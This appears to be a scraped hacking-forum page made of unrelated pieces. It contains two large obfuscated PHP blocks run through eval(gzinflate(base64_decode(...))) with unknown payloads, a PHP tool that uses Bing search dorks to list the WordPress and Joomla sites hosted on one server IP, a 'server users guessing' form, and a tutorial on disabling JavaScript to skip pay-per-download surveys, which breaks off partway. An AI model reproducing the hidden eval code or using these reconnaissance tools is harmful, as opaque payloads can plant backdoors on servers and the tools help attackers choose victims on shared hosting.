eMZcoTsTFnZFjMjfwkfWEhbpQZJfOZecFcmL315Q0N3+vB​I6W35JQtDUUJQvGYmF2UmI87M6B+WdK2v5Ykk18U3zTY3LjWV2ZW3BBDILSENGz4w+I1q1Ya0XUGuOfZ​xjiL0PMhufpQ+WOg+wOlxxRevVM5wclnvAHHWRA3/lDpiTWSYASZKKecO5Nx9YUlX0dMHvped6mmYE+lO/NmJgjarX0R2ocxoYI4NYaNbuJA4Vin9WmaPlyEprVEzGFuBUq13b99lON7M5nSmD4KpAj49uYiinTnyC​Eo53YyUyJxUOTg04OEy4KWuCikD3vLrbYM1hK3ItpPhMb3PS1VNylVyHEBUexsjitVTY1F3V3yy7iU9I​mIAyswFGzT9JPMUfoO7EgHJrtsQDG863Jpy2cVb7HAeeztGs1QFnodiSk7ZJ+mQ9+mEUGyLP3sSW5gy8​DioHDT7u3CBQ+vaXN+QkbCxaONp0I6UCY1b0TVMNB4xRZZ+FwSOV9J/a/No2qQEDC5OLSVexIOqEp9W7TvDWisxbSHxcT3gk7egvsVf+IYqXCf7vggBZfMNsaTlD6Adzrr9xgSD6y​0Y+ZZ1nHmDyCOAVNgi6PcNfZ5OPDHW6pLbPOOMYYMDrjaFAVd9935zD++d3JGyPLg+JOtqISG1JCzeyV​0PLSiy+kR7hsT1Mk5kE60ergkvJsoFDNjkPWoa+s+8h2PFi7G9C/lX2wwLvB0FkoaIOXTmHwrvDBO2Zw+No3VzL7cdVO1ssD0vStZhltTL/hC7/OVYLbjiDici6FtdLX0e40axU9wvuE6msxL0rw0FKc9820uNrxre6e4ofv8mAz8ZKdD5gKDQNTUc5vkcr​/uv9tLoGn5/6mY6JDXT08fH2UN9xbPoghIpa9XvOXgWs1oE6bBDIvtvtHlO6L0KpL6GL7Pv/iRZzKxMxd3XqL9ZIrSf16Y0XZ+pfe9zpUu10OFclqoWL7irI0Et98+M1wgpcuFuliSpGYLs3Zy5R+cVh​UOTH8QBR25nvdZGBE8xtLWyAHKsyM3AuVhWLJSOU/lzkKw0//sWbOt4vBD/Lp5HjBKhsMM4Z0znMT4uyNHYDhAp9t5ERbtzUhASmr4witYn1avnw3iRlObFeCLOZw97D8XtfJQqmyls​31NfhtbsT+cU2yOT4dCf7JBW1WUtUDNaWFww1TmWoqv2abPkUbdB0bVDYNxfooeTo3Cy1jg2xeMksJ4w​2UpjyykHyl6ZNCZGxuXOGYVQO7U9pbCyfrSSXh6vvnoT9FEl1fMFv2xDId4w1dFlEH9bhW4CgUx1q5cm​eliEDJqEUwI5iiqCfTOYVlHftVEgIzMIonicC37h0wqHSSCwfXjfaax8yyJ76IqiD6F8gow7KVDXtEv5​9Ss5rStwE2TyaLxbvnDK8wMQTUU+2TBQwModxWJGM7RY3rsmm8IB9KiWw/Hzn9FGyA3iUcErT3YeDyJ1OqXjk6CV77ATN1z3UVJ6IW9WNuJ7dTr7zfrK01vcnhS2U5qzMh9Ousi3Kr​99Cd4AkpliGz4ZCF9xWHouJWG1oC18A7g+AErkQfBniBw73opZP7FEzvUtHaS8SQjf4pfVKSng17WaDk​KD70zFrB56RtLSYf5EMx54Uz6HJs3XvvTrmgg/B4HVQlKrY77RcOzL/NdQzHujj+V8OLx4IJkmltQKwYXyvO7G4rdNOxik74kagclcjbVNO2vWX9KLlXA+aPw/S/UXfUKlx+1Zrzghhj0wxWtd7AdUrUWz1fZgVIh2BjnIRAScmTvo7SIIaW/yQ/TlRx1Xo2xqda5dNNLtlyLoKWwN68cbQj34lYimH7lxazV7vf7QNwlz07shxDNkeSbWyV2pwWpRSXKFjj​ROS3nMq0o5C0k4BuywSagrQ+9+QVsvb1aKe6H/lQGx+3Q4tm6buzKO3dI/nV7Ti3uxVKJwpFd9bFkeByM6NSBV3afqNFt0jZSp+uGmDt2q5DiX/jJdFmyUBxqc01BA2CJcFRBvt30dH7kUeHjxM7xQkAvBiQAjHxvWCXoHm5JAEafYI8uB6vbmFdMwoRUTo​+e4pId3jFgfcdXkCvVP5uGXqTUFcjuVUgX/Q4KwcwK3F9KLSx1oMSGijDcNzwGH8k3azVHlxCH4oKxMAtak4tAvI2P7ZwAsvn5xxXGUKRl0+/gQ8LSQGLIegS2Pf6zHYxrQO6gL11kYIm6+u0rqBEX6YBxTuX71joYXwTvMQDu8Y4+zYwdAr3NAqgpMxk​ECCwhLPjzkNQ5bzJEKlQhcnUGD+3u8Fm8+3kR1hUKw7D49Ou4KjsuPTiTq6b6gTX0h0nKF2qOXw0WEFc​PKD4wcz4CFmo4zocQz9GyG2tlE2OWFVDanqXoGrTYKVZrb5TVEb+ds//KUFtwwIPY9vq20ZhIQc08FrfV1xc0PCkXy9X+kHiI+xCSVgf1rLGwnUVVW3Z+WBuaFu/jGfeD94w9d9YSJhCOKWdVKBAasaUko0745mvEZRlq4UWhsI644fPq2tnoJELN13GIDFCr3SPrbKYFOGK​14x6yEUXEH3i1nE73/vqPeVy2+XY096CT0Say1ZYgG2op/XwUxLW+Yd+VraGJVzTcLCdPNBy7W+piXUrR3kYi8DUNlZoWHN42K09gIy886D6bMAwJwdP97HgUgPW6/MylWRG6PczYgQxzfbA+MJSjvPoL1jhZ1R7MNxVJgEOmkNz5ArSV+rQ8ruDPy0o7Aa7P20D8VFyVn9qJ7​mDYe2czzl1YWHp2tyng51l7Utq+S3zSzNI5/rPIv9AGLS3iRUB9TBeiFjs+DrcXWe20uWg4NsRQCJRlS7s5efzu0eTmy40FdzaUlR+PuPfv+6AONs9FZ​95oZ1YczDk7zgUAMH1AtHiAjCrFervdX3PlJy+ipmiDs1AL6PZzB11b14f6rVfSB+EqNx1GJfr02KCPI​65olm3hLwR6qHGFXZ526g6PP+rBdFaA0l5IFD6Nza1/ecafNV4MpigmF1+poZ6dSKxz6XCZSSFwe+OGwglPB+wmdrs1PxjcQczB4FS4WD2F2McMBy+t0QBT6ezM​+nSzJh0L/Pq9Ac5KLn1sRPtSeLp0zyiCASuzO/S7UNpo2IekmJ8XZ8rZ2jv7S3sG4H+fVo5wvJJWDQy8czSnGtlV67W1eI+KNmBE1f8MnxBtxYg89IUXe8​KC9O+cReWEZ/WIh1hDEDwSYqk1kfP4ikRpz5cG+uOHQUECIpukt5MvPD3LU62+3dMgzKgTeViaYRzCDQ7Co/Mk+fUdSE0okAqy5f1mAnO7fOkPNjNE9KR/uuwwMRuzXdwghh78OtVYvgN0o+j2+UTldqEfXd+G3TZlmq0wCR4ezkvK4GKSeX03llZznluQ3Chq6oau​Yj5rJ3qEavMHRBI9bSqfwTlkcTMn1DyKDJ7Yi3rFtw8iRFbSLyfWw9S26/u+q9Bhv8h0FBAQYwoimN2bJnhrJfXGFddh1x5nLGMEOxNVOSX3emoFBNe0/GSkjwqmMdN5npLxWZLPNf967YU2XwLZZbp07zg/lN6BIgfJqGgtbPvWY+BaU+L5eisFwPt06zZ+0N8fQ+hYoMowHW3qZb7gmOzeNKng3vCMIceD7n4L79Pg​T12CSGJ5mVbKSzCMAQEJVxTLL7Om9cfII3kmUF8kMDZYa1TmHafOJ1A7Up3ufrlNfmdDfycYPRpkW0x7​G0bQ38WZ4Y4w5ztosZivIqTbuVjhwQc2YblB3+BN+nlgRQIiblE/YcbsEUxNeMw75ZdkJvm3oVEZKNucxhF0SRuRjmpNmcDnqg5xrFpr+hNkMORQg+0w8FclOHo0Onf0kwtx​RDTyMWqBWcqEEKH2GIP4paynVeuaBcHqrECw+35JEADy6veeIhSk+H/99ddf//7jn//8/c//AA==')));
?>

ip secripte Extractor

PHP Code:

<?php
/*=========================================|
|
# That Just Th3 ? Let You Know That'z ! |
|
# V ! v 3 | Arab |
|
# Th3 MMA , mEg0 , Dr.SliLnT HilL |
|
# Home : www.Sec4Ever.com |
==========================================*/
?>

<html>
<head>
<title>Th3 MMA | g0t aLL Server Web'z By Script ! </title>
<link rel="shortcut icon" href='http://th3mma.com/imagez/syic.gif' />
<meta http-equiv=Content-Type content=text/html; charset=UTF-8>
<?php
$sh3llColor = "#990000";
echo CSS($sh3llColor)
?>
</head>
<!--TooL'Z Start INFO-->
<center>
<p><span lang="en-us"><font color="#FF0000">Th3 MAA [ Scann3r Server ] Tool'z </font>
</span></p>
<p>
<img border="0" src="http://th3mma.com/imagez/sdg.png" width="409" height="402"></p>
<p>
<font size="4"><font color="#000000">Insert " <font color="#FF0000">IP</font> " Server , and Name oF "
<font color="#FF0000">Script</font> "</font></font></p>
<p>
<font size="4">Joomla!</font></p>
<p>
index.php?option=com_</p>
<p>
powered by
<a title="Powered by WordPress, state-of-the-art semantic personal publishing platform" href="http://wordpress.org">
<strong>wordpress</strong></a>. </p>
<p>
wordpress</p>
<p>
?page_id=</p>
<p>
?p=245#comments</p>
<p>
?p=</p>
<p>
?cat=</p>
<p>
wp-login.php</p>
<p>
wp-login.php?action=lostpassword</p>
<form enctype="multipart/form-data" method="POST">
<p><span

lang="en-us">&nbsp;</span></td></tr><tr><td
height='45' colspan='2'><input type="text" name="dork"
value="<?php if($_POST){echo filter($_POST['dork']);}else{echo
"ip:127.0.0.1";} ?>" size="70" />
<input type='submit' value='g0t it !' name='Scan'>
</td></tr></table></p>
</form>
<!--TooL'Z End INFO-->
</center>
<?php

echo "
<center><table>";
if($_POST['Scan'])
{
$array = array();
$dork = filter(trim($_POST['dork']));
echo "<sy> Dork: [".$dork."]<br>";
$pageNum = 0;
while(true || $pageNum <=5)
{
$bing = "http://www.bing.com/search?q=".str_replace(" ","+",$dork)."&go=&filt=all&first=".$pageNum."";
if(!preg_match("/No results found for/",Connect_Host($bing)))
{
preg_match_all("/<h3><a href=\"(.*?)\">/",Connect_Host($bing),$sites);
if(count($sites[1])==0)
{return false;}
for($i=0 ; $i < count($sites[1]);$i++)
{
$site = str_replace(array("http://","https://","www."),"",$sites[1][$i]);
$site = substr($site,0,strpos($site,"/",0));;
if(!in_array($site,$array))
{
echo $site."<br />";
array_push($array,$site);
}
flush();ob_flush();
}
$pageNum += 10;
}
else{echo "<sy>No Results !! .</sy>";ob_flush();flush();return false;}
}
//$array = array_unique($uSites);
//for($i=0;$i<count($array);$i++){echo $array[$i]."<br />";}
}
echo "</table></center>";

function Connect_Host($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOW, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$data = curl_exec($ch);
if($data) {return $data;}
else {return 0;}
}
function CSS($sh3llColor)
{
$css = "
<style>
BODY
{
FONT-FAMILY: Verdana;
margin: 2;
color: #cccccc;
background-color: #FFF;
}
sy
{
color:".$sh3llColor.";
font-size:7pt;
font-weight: bold;
}
#Box
{
color:".$sh3llColor.";
font-size:14px;
background-color:#000;
font-weight:bold;
width:500px;
}
tr
{
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #cccccc 1px solid;
BORDER-LEFT: #cccccc 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
color: #ffffff;
}
td
{
BORDER-RIGHT: #cccccc 1px solid;
BORDER-TOP: #cccccc 1px solid;
BORDER-LEFT: #cccccc 1px solid;
BORDER-BOTTOM: #cccccc 1px solid;
color: #cccccc;
}
table
{
BORDER: #eeeeee outset;
BACKGROUND-COLOR: #000000;
color: #cccccc;
}
input
{
BORDER-RIGHT: ".$sh3llColor." 1px solid;
BORDER-TOP: ".$sh3llColor." 1px solid;
BORDER-LEFT: ".$sh3llColor." 1px solid;
BORDER-BOTTOM: ".$sh3llColor." 1px solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}
select
{
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #CCCCCC;;
}
submit
{
BORDER: 1px outset buttonhighlight;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #cccccc;
}
textarea
{
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #333333;
color: #ffffff;
}
A:link {COLOR:".$sh3llColor."; TEXT-DECORATION: none}
A:visited { COLOR:".$sh3llColor."; TEXT-DECORATION: none}
A:active {COLOR:".$sh3llColor."; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</style>";
return $css;
}
function footer()
{
echo '
<head>
<meta http-equiv="Content-Language" content="en-us">
</head>
<font color="#000000">
<p align="center"><font face="Tahoma" size="1">c0d3d By Th3 MMA &amp;
<a href="mailto:i0x0@hotmail.com">Dr.SliLnT HilL</a> &amp;
<a href="mailto:m3go403@gmail.com">mEg0</a> </font></p>
<p align="center"><font face="Tahoma" size="1"><u><font color="#FF0000">GreeT\'z
</font></u>: A-Kill3r\'z < 8 MON ! , Sy Eg Dz pl c0d3r\'z&nbsp; </font></p>
<p align="center"><font face="Tahoma" size="1"><u><font color="#FF0000">Fly
sh0t\'z</font></u> : Syrian 34G13 < My Bullshit Bro , Mr.Black , X-Maj!D , b0x <
5aoa Mind , X-Shadow , Ma3sTr0-Dz <3 , Lagripe-Dz , jH-Team , </font></p>
<p align="center"><font face="Tahoma" size="1">Th3 MMA./</font></p>
</font>
</html>
';
}
function filter($string)
{
if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
else{return $string; }
}

footer();
/*=========================================|
| |
# 2011/15/11/ |
|
# Th3 MMA |
==========================================*/
?>

ip sites extractor

PHP Code:

<?php
/*
online encode by cha88.cn!

*/
eval(gzinflate(base64_decode('FZjFDsRIEkTv8yM7Ix/MpIWR28yMl5W5zdimr1+vfDOoqrKyIl747//86+/5O//xR3mk/Z/104xVn+7ln1m6lQT236LMp6L88x9CUsLQFtR55z2VIx19LV99KGiPfqmRqIoqnpboSrdq0hLJupK0BoI​4CQJHlq0WiDtRMWIPkK34uOrtb6nKLIk+Vgomgb8lVWSBAOeFvwSNLpkFTyX189xnMvpxgntElDVvRvD​CT6sn3+ms7Fffp2uluZKTGSYsLPErf8LuOafGCC+zWJcGxgywyDvY/I4c8OEYhQm6/QPpIuZndgyz8LFQO8x9e15B+hu/ogTr1DjS5T2INGyAH6AqYde0v+1sqgWmo+y24nvLLy1WcZmcK7uzdqajFwx11o6ajz7FFAbtH+aFI60t​WRn2MM8Co5vpXBnBXNM8wal2Vu4W+KgailwZvWsEpMybiQZQtCRcIMO3Cb0QZum5EmWccKaGSBD6ut/y4X/G+PtEdetwZf6kv0f1zzKLRO/j6y7o4cYEoT0EABxi9seVgnOGX2px7ZbrqRLozXW33IxRDFdQRwbmPPTjjz9O3tamdnuKX4N0jgV1Lm4​ZbLghVlF5CkRX77NciyVzIAdsZ5pEi6k8xShTurqWEReb110elkoicsONRco9jE11BH+4o8oMV3QXkJj​E5dRbHedWLMx7G2jmNesUd5f1vQa1dd8ou6DRVjaFImptHV6lz7dZvMu2z6TZ94vnqRIvHPsA/j71lxYsTgrfuACO2A9vgvnb7s1eEGSvEx+0ixfnbr4c0oGH1XVZNX1LjPkC4b4hnqlLR/oAnjYivqTxA3ceHiFznfyQGn187jvs1AVv9qETKpUeGaX/TDF80D6LqGf2+wHjcvq/ALrjtimPLtthpCVLtwAHk7yFos3FOkQBlWCNcRGrrnVSiGGvwcTEkcbuhLMXaULDxPlOeO4Zpdnd6mJG​ljHofaEORQ1tP7rq4nMRn8++uBKPYVZ2YArYk1b+Axxx2wNHIE8hXivEXZ5fVlV1iv9aDf1QG4l+NXcA​YIPeu1GdDwb9rQPj2j8TTZsW4/LcumHrC9M8xRKSlJ5WxJ1qRiAO3ilsaTjYvc3GkCVkhHKSrZ1qI0c45S4dnhmihEdzQZjzNHzZCnNlU/jYeAITq1a5kcf3fV+hChLJUjb9KK4rSL2h9smwlEindPNa4mbI6UgA5rL7zc49kXF05f2emJCpwpBvPa​4FuqG8PAmgeh1TVhaitwlyQVR8zoBuTlq/1UAsHpXtAIHYlmwYv/VXhPKm0oMlBLXdQzLtNdyvpSutrgqMCb5nJnvNo6/YPGZ85WU3nNj9GyExKUAcsh0ji5G86hOVQzk+0RKP+DolTiXmfkIUucGwrPupF4yZPk4nGka0jzDoltq​3PYDfVYT323ANEp/6YswVjiPQZ60ww+7ccadpad7CAS9H1BwqFx/8DSPch4x2sVpQOz86+/K6Pju4mPtsC3Wr9zf173ORcAccpw+/ZzHmBPsOph3G6dXxliW4nN8Hko2eEWamkKQPaTb5DMWYDONnqR/oaYPglN0tNk8sJy1g+j5GL4bgaurXZytzAVj43e8qYg3WsVHogcwt8xgWXp/fMLOnZe9PGwzb178Xiok5b9g9xJ0PNfx4goC6+6YKWg0UrG+sVyz/fvCaalIzSX2EE/LojSF3MkMs1QOzUJh6VLns9zoKy9bqZnrDsVBoOR21VlWOR9JtJif1mQ8WJrH8ougikZdcImbohyIQNn​m275+cc7MygaXVSuuXmEdJLASg0o60PI6dr7m1Ebmf2hMUzhYmmS1S76a4kLevowiuMlApjloP0qIXJN​+3SLUeTUvXWv5sRQlrMjuZg26WLmoh4lOcGm9Cth6oNTP2aypDhBEXV/etVn77ZfHrS5rL7fwjOGplwmCFxWHaqo3RJjkvllJ3eFvwvsx86MM6MfieEu67aRitCjKjkh8W1GaZFE​6SbTOYC3K4VvC3ECHRguOcX0c37Sjh3EFQzNOU0dQ6cE7x6cA6torIS1nEYoSb73jZ/xTENVPamOQSf1B+n2cioUMbYVRkYJXkFmEI1b/Scpxob5mhe2ZCuhrESn0JJGDXny5ESNpfPP4DQWWXtlEAhnZLhf1t1Fh9ktqj9AexDxvjV4X3uJ9scsa​SrzJ4CEyLXzz149iM6DzzESJqWH7QgoH5YLyXziMAKfONEQUK2wbuI+l73X/g2uIsktiNNgr6BnTPdcwc0RfrVgpRbhysCNud2f0VPTrevtIoC+4vWfUNrkBei+Knoo2j0z0LMW6o4wM​sNSHfHYQBxA4FCY3GhbQBW1kU9qNgxFyL/0yg2wLQseMOo2l+DHZsQ6FvokdKz9eNsxqI92PLDwnaE4JBuvJMZMERWrOGJIvOyk8CYsUkK5mq+6W4l​LZ5v/rwPo7Z7Z2KEWN8jrPpOgqGqKxJnjwSfEyMu8HN5erAiVfDRWh1/KetriiPKpcmTnJh5uT2hYU4DY28ho4CDZUm9arVmBgGjECVK7/rVMaL3Jui8KosVkPyXOxL0s9VttgCMwhuXk/CXUxoJY01+szMbYc/nX0usHOrqazIpL8Kfyx+K8W0Iga0l1yR1LklffTq6uNo9r8LgEBF46RK1Wbib3hPlNfvBjTVJtCSMP2h​kGY+Q9DoS8iyBMWqtRz8fngggfkyPo9hYEHnXuAB/MUNWWTOy4RQJ2D80ugF2BLYibP8QZLzgJZ379223H6sNm7i7nFwXtZFmg63oHkVlflZZauD9uqkHwbRr​RBTa26yOKMgfAt3/LP1lIPmcDsILfh57h0HNqD6accO99XF9U6DEPAw8lZElX15sa9Z9ruf8QvydDoWPMFrzKiMkyhGpuuFE​v7mRSgfQsOTegTojnhz6n3cseUwtcKiANOiCR5rPEGATmTGu0wvbzRvefOKcBvF7Z1SdceFjrS1ndU9z​06xUaGkwrIbQKHKamR2PgjRsbSQOKNNvXwm4MOo6tga2G3Q+du8u9E95+6E771DL+t2jMbeTfgX+RHi6​5rVlwni8ym+uk7JFAY6TcTc5wi/Nk2uK114fSQ0YS252hR9DW4ulPY1gngkhKhGTqad97MTULAPFnALkMP8DkmQTh9c6udgWkt/7LWBm8nOUqPqgy9D9eX3B2fjRVsR6MBmi3brZJp7IODQ5aO/ZY6UnY6oJAJ1FgtQN4yqev+OcDo5ZA4FNlVcfk+sELhVzNd0gnfITrgHw4il92CpzIsm+BK1Nj5+gRae​liRjSPJT1pEEwnSw2h+MaBu2uIArFr3xS6NRFT0AZTZMvO4/DbGRefLbKcnTDiCp1iA4TxeYsDTYTnUUjBQ0tLqvvq/nNGz5q5YyZ+Ry0weR+/mwOB2YH0YkLEC5zGULVrR2DP6SiQkiWMbzAzuVJh1ZRGl78LqowpVUsOxRs3vkvmqkLhszQLe72I0It7​nkCt4Xcj+a8uJd23owrESMpng6ycixJctc1J/o2Di8BryHADmzcPmG61a6tJTjVBq3nwle970GCPC4YF5/Rl5l7uvnVN84TwbnzHuDkKleUcw4yu9A9oJQ/ZCvLoDSsF0yCgl7YW+qRbSxaLJpFaOlJAFte/as9iK+m/ZMchB36f92AtMQ3QzPRHQBeXLDsGIQcHGSUL5A4DN6C0466Dz4YOSyEg4QmiPQWHGnZhXHxW8K87dmEt​6bYq2ILvsROOLMhaXylV5jM0z+fGJ/cbINjEI75F7Qze60jxr7F9tSCl+gdePDaW4tWHN78Ya8So9whoIu+lx3ZRnMtUgcNi6gEtI5AggBZC6T​XRSAekC01awXSud3QZ4TDEnVmgjTuibj/t1qEVSw8YiNbSFLoegPa7FU7ma94qw6Db8nPegM1UNISXeG6BocEopiaY4na6d36/ke497bKrS8wQ6nwJ1jqsjUdKpwGkNcGF7DL5DaB+llx3CmySgf1nl0IEU+4ksrNJOleff3nYum0+iJon​k9CxUwfb6dspzXQKc/JbekU6td7QAdwvlWlwMn1DeQn17EXS4/G3rQZsn/Pgnme838tLlmrWqWIup+VvqCXMMQnY7D52QbqAHExNKtYNEyMU/Ucp3h1T4vPydI8/xQXLeRg/LIcFylVX5cGqFHmR/d364FTrt8KjEsAhqFzzni+gwDqXUVdHoRBwQDSaI4Mz0Lnz8NNHmYmLfrLNeGLv9QFL6BSyLY6g3lFSu​t1LGrHYp1tOe6luDvFhHgEMhEv+cKAsGPpEyDcfU8GGwH7NXb+eqDFCnrSp2+mVM5cyWWu3ry2nhI3Qr​wcqZbKjEAlrrMW2f2YGzsXlFAIYUl9RMcvwZzG61tkly/vqNz5xogbEwrJPgTI2wDO5FTZPBXNTJBARVwN6E4gzlUwtOpkm5TdA69NUwgLh2XVyjqZdHgvSAH55nk​ESSzpjyqIqruVMmo11ZlI2Krn6mqXjmGS+gGK+X87m5esLotkp8cvH9DFrxZw1apmYSpgJpBD5zbG9j6​Lv/EP3cms1EmT6UGD9Xle1aF9ySQIkqTYVSy3XEuUtglPxjcGhOg0lrn+zF3RWwFI17FPRk1Ry5Wvtvot5s​yS+PP4iie3K3zmvwVqo/xDXVMXciAyvFfw+8Pb31EL7dSrPmJuSRsLgu5+BU7klAz3SctiEay2jzqgePATl8pNAxktzlph6wQuTc​OHHVi47Y31PmoXSbcYuvMFWeH+x0ja874muDHXDR+VOOwvkEwUK+Q6t0274PcNM/fygErsozCim7oyZqeNLsUnkujynLCKww1VMd3qHZ2W+TMYeXGxK1a9xv4KkmWMQ4hxGiGxjtG+fddYk/j7lzAv/XQ8KaKnl66Tles0kHnyDD73WNCfYvwtLqrHw+O5oJETWlLf38JLjnbSs5wZcvNW9sk8vbRGwQQWKoCC/kNeSmW7AHUvpBGUV9vuaoIMniqQ60z9JDHWGnvkR67C8oA22lmAxo+Yu9DWqV2y50f63tw0cFjaVssfh​X1U4v5uWUqhHNNG8brAWBEuS4//JLGkvsqOapkJziOl+0mAE0DhgMbRQKWZKbYS/OdgNNcl+pzYQH0Rg9j+7hf2DOm+ICBaBlpotrPoeGC8FCq0PokNRbwCVMdKfhm8+r+yqCqM/WXMtyDAxjTj8odTY+sNki+3cH+EMcq8+OECMcBiDynhCn907HfvHYCUZYjqPpGZi6RI3ARNBEiVwI+wN​TynrDr4buuX0dpkv6UyViLyKrC9xvB8KfqJ/Mi0Vpeo5HYgEOT83Nu9OdXY7F2T5TucTJYJJwVRS2FQNmnY0yM6dNT5KMvQlOkcX3eYL3/XMz9XBq84pDM9KJ57tkB8JpgIgySCBBg4tug6VxIikn2Ghi91z6kfDD8siMpwnUY18X+MFkrHUcKlnpN​def6xcuALYu4dsnTnEzKoJCymuIPx2xG5nymXybbIcV12qFwaFjbTPJ7NXLpyj7WKgPfYaKw5RDD4cQO​PsvroImMM36xwWDrsJU8+vNjSXuSNy/KwvLA1UHTeKIAzrbI9uqK1LrKwg9/5R+T+NpdHicghro32+PpiNSuD38E8S55Jm2UZh6/L/Bk26jprT27CBL4+vhGRpgQGtMKPb8u6zVOsRoMQBDnHWSWu8pUnO9FIH0iXoO2WE6rUIxQxofhdVloVe​4VB/54J+vUTSFTrHvk8gMovOQSArIC/QxBKmSiUUP10Le7cZG2bG6hXT/rmMzs1RlxAk3CfgKQQk2ujWeM71HjT5tjyoA+D+ANSI1Se83ZCEkn0aZTn4nEIED4ksJT4arsS6gm3Ic​/bBN6QVDJLBuG5gkqdRYeXaZNhF/ubYjW0t39pbiveqxT2b2pc+HrWhLZkBN132p02fqo2t7Tgx8VTmp7TbWmv8Sm5DecXKjc+NWyFndyqZE​XA/2l2mUwZyXk0L/VdccifgGC+CRYIkU3zq1DHgSiGHKEYnRSdv6MRnlgQfv/31fSDuExAvkq9xuoo47VrEYR0Ilu87kHLfu8nimXhOzbgaAY7aDoC6NYP8DgWf7Cehv9d8CHDr8pYoca​VFofWKIx/5jk71KFjr6DH2Jcr0rhh6UaoNo81uirArAB73GAUET60eYFkFNJmJEHYd6lGaS7GuXVo0MJhvmo0Hp0l​/VLiVHISUU9tsqDirC0wFCPQj6fdXIzp7lFCNIxPxDl42E/z4gjW6TLK4vKy34EhANhA931ZjvHmIWegc+P7LAXcg97cBsp9A7LkKc2tovE0sZqrV1cHZcAmZbdqSLO​/XAWqxpwTHa5+g79nTqQBxZkTnPuGG2H3P7Od0LiU1FcnWvx6hhylUuXJxw6TRie97XJaItQ9Jg1ZBAzL​8RgBDAno1VRk40vyJhL5XtPM2D4C2xcBVLsxdEz4a46Eob34OnSTFGQJQV4ZVY3XGNqYETjwcN62qU13​E7btlrcVrYV0rXY9sySUEeKDLnpGeg+LT6obn92v1dV1I1DkUmZ08sP7c6ZBTe1gUT0/NQrI0wkh0/lJVFLVp/fZA44MSUDoxoIaYpTvVdKk/ef8KepTp5vjfOQZ9QUIhtE+0+aMVxpIeEAgMabHI7UeRz5quqB/8AXTQTG12sJ+E5ecVHlKxDifqA5di1hcEH5gwnaXsWC0Vc6LvNQ5xItKKk4pHKFpxA8p8NCZrDbYPfLI​S4fawPP2rdRlcQqRnbI36U8eYclphbrBk2DAJAr6dcd5VM+Aq1RnQPKar+c8WRw36a37IudiaP9IWGrN​iVg+nOTiGOGJyQNKy9NoDO55yhZY2p3cmdE4LwfYnSM7cSHub6VziAiC2r0YGZHlOyrwcQb9fFR6Qcgu​y7wwac7MCGG0qNuDJnvgDXVVLOoCBHsi1OTfVzew2m04ogpOoqRQAr/dcz3Fp8a2QDjxQnW65bmoHDJfBvEN5GFGYaglXkZfJHLwx8TTew24sU8E0bYqDlXfD43raN4aIQC0eKQ​Tx31kWqA4zxv5O/ZoecgSFavprXWqsEVGve+iQtVBIaDcbBfc+6/TvI7vpf6JmFOtrrXPMX9W7VLmivT2+1JnVFhiWTKboTSRrUJaud6ziBrDb54jyr0Sv8OU+KGfcgcNLB9​mQOZWKzSVaCjTvq6d2xYJGk4Uyjidb0NFEj+8EDvfMCdGjsZFIxb7qTo8w9Wr1swBriBh+DB1VaYrknf​ml72Yp7lXythSumAQmxBkmzlMkdV1J0Jpl9INfmzcFxhMuXxY/KhsnURhlyxUR9hFXWMfUqM/WFB/zOA3wME2wgECRgFAYwGQQoG3zvUv//x119//fOPv//zr7//Bw==')));
?>

server users extractor

PHP Code:

<!--

Title.......: [ Server User'z Gussing ]
c0d3r.......: [ Lagripe-Dz ]
HoMe........: [ wWw.sEc4EvEr.CoM ]
Date........: [ 01/03/2o11 ]
MyBlog......: [ LagripeDz.wordpress.org ]

-->
<html>
<head>
<meta http-equiv="Content-Language" content="fr">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>#~Server User'z Gussing</title>
<style>
body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:10px; }
A:link {text-decoration: none;color: red;}
A:active {text-decoration: none;color: red;}
A:visited {text-decoration: none;color: red;}
A:hover {text-decoration: underline; color: red;}
#x{ font-size:15px; }
input,table,td,tr,#gg{border-style:solid;text-decoration:bold;}
input:hover,tr:hover,td:hover{background-color: #FFFFCC; color:green;}
</style>
</head>

<body>
<center><br><br><br>
<p id=x>#~Server User'z Gussing</p>
<form action="" method="GET">
IP : <input type='text' name='ip'>

<input type='submit' value='ScaN'>

</form>
</body>
<br><p align="center">
(c)0d3d
By <a href='http://lagripedz.wordpress.com/'>Lagripe-Dz</a>
| <a
href='http://wWw.sEc4EvEr.CoM/'>wWw.sEc4EvEr.CoM</a><br>
MaDe in AlGeriA 2o11 (r)
</p> 

Bypass Survey to Download file

2013-08-30T05:30:00.002-07:00

HOW TO BYPASS SURVEY TO UNLOCK DOWNLOAD

There are many Pay Per Download(PPD) sites, which asked you to complete the surveys to download file. And some times there are Paid surveys also, and you don't want to pay such useless surveys,
then just Bypass them to download your file. Many PPD sites have this types of stupid surveys, but now time is changed

and here trick to bypass surveys to download files has been revealed.
To view the hidden content of websites without completing the surveys you need to install Google Chrome, Internet Explorer, Mozilla Firefox or any Java Compatible Browser in your computer. Now go to the website that wants you to fill in a survey. When you get there it will open up the survey box and ask you to complete it. To bypass that survey for downloads follow below instructions. Here we give instruction for 3 major browser which are used widely.

Instructions for Google Chrome Browser :

In Google Chrome Click on the little spanner icon in the right And then Select Options.
When the Options window Opens Select Content Settings.
Now Click on JavaScript in the top tool bar, And Select Do Not Allow any site to run JavaScript,
Now click close and refresh the webpage, It should open up and show you its content without requesting that you do a survey.
Once you have finished looking at the webpage repeat the above steps except this time choose Allow All Sites to run JavaScript otherwise some sites wont work.

Instructions for Mozilla Firefox Browser :

